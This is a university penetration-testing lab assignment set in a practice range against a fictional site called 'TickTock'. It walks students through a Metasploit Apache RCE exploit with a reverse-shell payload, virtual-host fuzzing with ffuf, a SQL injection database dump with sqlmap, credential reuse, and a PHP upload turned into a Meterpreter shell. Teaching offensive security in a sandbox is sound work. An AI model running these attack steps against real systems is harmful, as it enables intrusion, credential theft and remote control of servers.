Introduction

TickTock has been a runaway success, bringing in a worldwide community of timekeepers. We’re starting to expand our operations by adding some of the features that our devoted TickTockers (as we’ve started calling them) have been clamoring for.

Our first expansion is into the NFT market, which, according to my sources, is the “nifty” new way to sell art online. Unfortunately, our web developer keeps nagging us with complaints like “our network infrastructure is ridiculously overcomplicated” and “this horrible and growing behemoth of a site that only serves a handful of programmatically-generated users is incredibly insecure”. To appease him, we’ve decided to bring you on once again as a pentester to see how far you can get into our network.

Lab structure

Before you start: I’ve made some small improvements since Lab 2. In particular, you can now access the web server at http://ticktock.lab (previously you had to use http://terminal.example.com) from within Virginia Cyber Range. I will use this domain to access and refer to the server throughout this assignment.

This lab is a direct follow-on to Lab 2. In this lab, you will use the information you learned about TickTock’s infrastructure to try and obtain remote code execution on one of its servers.

To start, let’s review the way in which TickTock is set up. The diagram below shows each of the services running inside TickTock which you should have found in Lab 2 (apart from Apache httpd, which is new), as well as their functions:

Grading

Each problem will ask you to complete different tasks. At the end of this assignment, you should submit a writeup containg your answers to each problem through Collab.

The first problem will be graded on completeness and your understanding of Metasploit techniques. The second problem will be graded on your ability to convey your technical understanding of the vulnerabilities you identify through writing, as well as your ability to propose defenses against vulnerabilities that you find in the wild.

Problems

Problem 1: Metasploit dry-run (2 points)

For the first problem, you will practice using Metasploit by running an exploit against a server with a known vulnerability. The server is running an older version of Apache HTTP server with a known remote code execution vulnerability at the host vuln.ticktock.lab.

To get started, you should run msfdb init followed by msfconsole in your terminal, and then

msf> hosts -a vuln.ticktock.lab

msf> db_nmap -v -A vuln.ticktock.lab -p 10000

This will run Nmap in Metasploit and automatically export the results to Metasploit’s connected database. The -p 10000 flag tells Nmap to only scan port 10000, which should speed up your scan.

Once your scan has finished, you can look at its output or run services in the Metasploit console to see the service and version information that Nmap found. Using the version information that Nmap found, you should look up CVEs related to that version of Apache that allows you to perform remote code execution (a Google search should find the CVE you’re looking for fairly quickly).

Back in Metasploit’s console, you should use the search command to find an exploit related to that CVE (you can run help search for more information about using search). This should find a module starting with exploit/..., which you can then load with the use command.

Once you have loaded your module, you should run info to double-check that you have the right module and to see what parameters it requires. You will likely want to set the following options:

msf> set LHOST desktop.example.com
msf> set RHOSTS vuln.ticktock.lab
msf> set RPORT 10000
msf> set SSL false

Note that desktop.example.com is the name of your machine on Virginia Cyber Range. set SSL false tells Metasploit that you don’t want to use HTTPS (just plain HTTP).

You should also set LPORT to be a random port of your choosing on your machine. Finally, you may want to change Metasploit’s default payload; I would recommend setting PAYLOAD to payload/linux/x64/meterpreter_reverse_http.

Once you’ve set everything up, you can use the run command (or exploit) to run the exploit and launch the reverse shell on the vulnerable machine. If you set everything up correctly, you should get some output that looks like the following:

If you see this, then congrats! You successfully exploited the vulnerable webserver on port 10000, and obtained a reverse shell using Meterpreter. You can now run shell to immediately drop down into an interactive shell like the one you use to run commands on your desktop, or you can explore some of Meterpreter’s other built-in commands (note that not all of them will work in this environment).

To finish up the problem, you should grab the flag from /etc/flag.txt.

Deliverables

Submit the flag, along with a few sentences describing how you performed the exploit. Your description should include (at a minimum) the version number of the Apache httpd server that you exploited, the CVE that you exploited, and the Metasploit module and payload that you used.

Hints

• Metasploit and msfvenom can be a little slow to run in Virginia Cyber Range. If you are persistently running into issues using it, you can try running msfdb init (or contact the instructor).
• If you need help understanding how to use Metasploit, you can run help inside the console for a list of commands. You can also use help <command> to get more information about a specific command, e.g. help search.

Problem 2: Exploiting TickTock (7 points)

For the rest of this assignment, you will focus on exploiting TickTock. You will combine security vulnerabilities in the original TickTock website along with a new vulnerability you will find in the way that the TickTock NFT gallery is implemented.

As in Problem 1, the TickTock NFT gallery runs Apache web server, although it runs a version that isn’t vulnerable to the exploit you used. Apache is configured to use PHP, which is a scripting language commonly used to run webservers. You can embed PHP inside HTML: for instance, suppose that the file index.php contains the following code and is uploaded to www.example.com/index.php:

<html>
  <body>
    <?php
      echo "Hello, world!";
    ?>
  </body>
</html>

When you visit http://www.example.com/index.php, the server runs this code through a PHP interpreter and sends back the following HTML to your browser:

<html>
  <body>
    Hello, world!
  </body>
</html>

You should not have to learn a significant amount of PHP for this problem beyond echo "Hello, world!"; (which is just PHP’s “print” statement).

Virtual host discovery

To start off, you need to find the domain that the NFT gallery is hosted on! You can probably guess it pretty easily, but all the same you should try using ffuf to discover which virtual hosts are available on the webserver:

$ ffuf -w $WORDLISTS/Discovery/DNS/subdomains-top1million-5000.txt \
    -u http://ticktock.lab -H 'Host: FUZZ.ticktock.lab'

This command should show you a list of subdomains like www, indicating that www.ticktock.lab is a valid host you can reach through this webserver.

SQL injection

There’s a new “search” functionality on TickTock. Can you find a way to use SQL injection on it to dump all of the tables of the database and find the admin user’s password? You’ll want to use sqlmap for this problem.

Hints:

• TickTock loads all posts dynamically in your browser using a web API, which means that you won’t be able to directly use SQLmap on http://ticktock.lab/search. As you’re exploring the new search tool, you should try looking at the HTTP requests your browser is making in the developer tools (as in Lab 2, Problem 4).

• Once you’ve found the URL that your browser is contacting to perform search, you can look for SQL injections and dump all tables of the database with the following command (don’t forget to include URL parameters!):

$ sqlmap --dump-all -u <insert_url_here>

Leveraging admin credentials to get a shell

If you finished the last step correctly, sqlmap should have shown you the full contents of the TickTock database, including the admin user’s password. You can use this to login to TickTock as the admin, but that in and of itself won’t help you very much…

The remainder of this problem will be largely self-directed. To guide you in completing this problem, you should ask yourself the following questions:

• What would happen if you could upload an arbitrary PHP script to the gallery? Is there an msfvenom payload that you could use to obtain a reverse shell on the server?
• Where else might these credentials be used? It’s fairly common (but not a great security practice) for usernames and passwords to get re-used across multiple services.
• Where does the gallery load its images from? At what URL are those images located (on the gallery site)?
• Can you figure out a way to upload a new image to the gallery? Once you’ve done that, can you view the image on the gallery webserver?

Once you’ve answered the last question successfully, you have all of the pieces you need in order to exploit the server. An easy way to test whether you can obtain remote code execution on the server is to create a .php file with the following code:

<?php phpinfo(); ?>

If you can visit the URL containing this PHP code in your browser and see a dialog like the one shown below, you have successfully performed a remote code execution on the server:

All you have to do now is generate a Metasploit payload with msfvenom that will allow you to obtain a reverse shell. Once you’ve obtained the reverse shell, you can check that you did it correctly by running the id command:

meterpreter > shell
Process 42 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

You can also run hostname and check that the name it prints out is the same as the domain of the gallery server.

Deliverables

For this problem, you should submit a short report (at least 300 words long) to the TickTock executives describing the vulnerabilities that you found in this problem (both the SQL injection as well as the remote code execution) and the steps that you took to exploit them. You may include screenshots and commands as you deem fit in order to help explain the vulnerability that you found. At the end of your report, you should include suggestions for how to remediate the vulnerabilities that you found in this problem.

Hints

You can view all of the payloads available to msfvenom by running

$ msfvenom --list payload | grep <search_term>

You can pipe to grep multiple times to filter on multiple search terms; for instance, the command

$ msfvenom --list payload | grep linux | grep meterpreter

finds payloads with linux and meterpreter in their name. You may want to see whether you can find any payloads related to PHP and Meterpreter for this problem…

Additional hints:

• In one way or another, for this problem you will be interacting with each of the services shown in the diagram at the start of this assignment (except for OpenSSH). However, some of these services are much more important for this problem than others, so if you think you’ve hit a dead end, that might be an indication that you’re looking at the wrong service.

• For the payload that you’ll be generating, the only options you need to pass to msfvenom are --payload, LHOST, and LPORT.

• If it looks like msfconsole or msfvenom are hanging (i.e. you run them and they seem not to do anything for a while), you may need to run msfdb init first. These tools can also be a little slow on the Virginia Cyber Range machines, so you may have to be a little patient with them.

• If you believe that you’re executing the reverse shell payload correctly, but you aren’t getting a Meterpreter session in msfconsole and you’re seeing a message like /* no socket: you’re 95% of the way there, what’s happening is that your payload is failing to run correctly because (for one reason or another) it’s not able to establish a connection to your machine.

  You should double-check that you ran the multi/handler module correctly as shown in lecture (this tells Metasploit to listen for connections from a reverse shell). You’ll also want to make sure that the LHOST and LPORT that you set are correct, and that they’re the same for both your Metasploit session and the msfvenom payload you generated.